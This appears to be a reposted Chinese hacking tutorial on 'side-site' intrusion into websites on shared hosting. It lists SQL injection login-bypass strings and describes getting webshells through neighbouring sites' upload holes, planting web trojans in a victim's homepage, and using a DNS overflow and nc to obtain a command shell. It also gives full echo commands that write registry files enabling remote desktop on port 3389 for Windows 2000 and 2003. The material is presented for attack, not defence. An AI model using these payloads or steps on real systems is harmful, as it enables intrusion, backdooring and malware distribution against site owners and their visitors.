37. 注入篇——旁注

关注

转载最新推荐文章于 2026-04-08 09:00:57 发布 2.7k 阅读 AI 写同款· GEO 优化 ›

Helen专版旁注扫描工具响亮的标题，<Helen专版旁注扫描工具> 没错这就是传说Helen专属VIP旁注工具，传说是Helen用J8语言写的。相当给力。所以资源分也就贵了那么点。不过在贵也不能阻止人类对Helen大黑阔的热爱！立即下载

旁注简介

旁注是互联网黑客入侵常见的一种手段，多数用来攻击虚拟主机。其原理是利用统一主机上其他站点的安全漏洞获取服务器上的一个WEBshell，从而获得一定的操作权限，进而利用虚拟目录权限的配置不严格或者通过“提权”来获取管理员权限后在跳转到目标网站的web虚拟目录中。

同一台服务器入侵

由于现在互联网的发展，使更多的人都拥有自己的网站。但是如果自己买服务器，买带宽的话就会花费很多钱，这样长久下去的资金开销不是一般人可以付的起的。所以虚拟机出现了，可以使用一台服务器同时可以搭建多个网站站，这就是现在的服务器合租。虽然便宜了，但是安全性下降了。

比如我们要入侵的网站是A，但是它的安全做的相当的好。比如说，全部采用静态的页面，后台也找不到。这时就应该想到旁注。通过利用工具来查询这个网站的IP所绑定的域名。如明小子，啊D等。如果这个网站绑定的域名越多，那么它的安全性也就越低。比如经过我们查询，A的站点所在的IP所绑定的域名有100多个，那么现在我们可以利用明小子的批量扫描。先扫他的上传页面。（如果一个网站返回的上传页面有N多，那么很有可能全是假的，后台也同样）扫到上传页面之后，看看存在上传漏洞吗？如果存在，就利用相应的工具去搞WEBSHELL。还有我们也可以扫后台，如果他的后台没有验证码的话，很有可能可以利用万能密码（一个可以连接SQL的语名句.可以直接进入后台）进入，下面给大家几个万能密码：

admin'or'1'='1'--

’or’=’or’

’or’’=’

" or "a"="a

’) or (’a’=’a

or 1=1-- ’

or ’a’=’a

我们也可以利用admin这个若口令进入后台，再去找上传或备份拿WEBSHELL。如果这些都不行的话，只有扫描注入点，然后进后台去拿WEBSHELL。如果注入点是MSSQL的话，权限是DB以上的话，嘿嘿，你已经离成功已经一半了。有注入点的话，可以先列目录，找到站点的目录，然后找个可写的目录，如IMG UPLOAD PIC等。知道这些信息之后，我们可以利用GET WEBSHELL拿WEBSHELL。如果还不行，那么看看他的版权信息，利用GOOGLE或Baidu去搜索他的漏洞，看看有没有高手写的程序。拿到了WEBSHELL，可以利用目录跳转来达到你的目的，如果禁止了的话，试试访问一下以你要搞的那个站域名命名的文件夹。如果要挂马，可以先打开那个站，点右键，查看原文件，然后复制到本地。插入你的网马地址进行挂马，然后上传回去覆盖掉原来的（如果要修改首页，建议用同样的方法备份一下首页，以免带来不便）。

局域网内的入侵

（1）在局域网中的入侵，我们必须拿到一台服务器的Administrator的权限，然后利用Cain来进行Sniffer和ARP，来搞我们想要的站点。

A、最好的拿Webshell的方法就是那个IIS写权限漏洞。利用扫描软件扫描存在漏洞的主机，然后用老兵的利用工具，先PUT再MOVE，如果成功那么就拿到了一个WEBSHELL（可以用一句话，然后用客户端连接）。

（2）利用DNS溢出。

首先，扫描我们要入侵那个站的的D段IP，也就是在同一内网里的。扫描的端口是53。利用工具去溢出。然后用NC连接所提示的端口。到此我们就获得了个CMDSHELL。然后是加用户或传木马。这里我给出2000和2003的开3389的方法。

2000开3389之后，必须重起才能生效。这里给出开3389的方法，自己想办法重起。

在CMD下输入：

echo Windows Registry Editor Version 5.00 >3389.reg

echo. >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg

echo "Enabled"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg

echo "ShutdownWithoutLogon"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg

echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg

echo "TSEnabled"=dword:00000001 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg

echo "Hotkey"="1" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg

echo "PortNumber"=dword:00000D3D >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg

echo "PortNumber"=dword:00000D3D >>3389.reg

下面我再来介绍2003下开3389的方法：

echo Windows Registry Editor Version 5.00 >3389.reg

echo. >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg

echo "fDenyTSConnections"=dword:00000000 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg

echo "PortNumber"=dword:00000d3d >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg

echo "PortNumber"=dword:00000d3d >>3389.reg

2003开3389不用重起。以上的方法来自网络，我没有测试。如果不行，也可以用开3389的工具。（以上两种方法要在DOS下，用注册表编辑器导入）

如果开启了3389，并且成功的连接上去，我们可以用CAIN来ARP和SNIFFER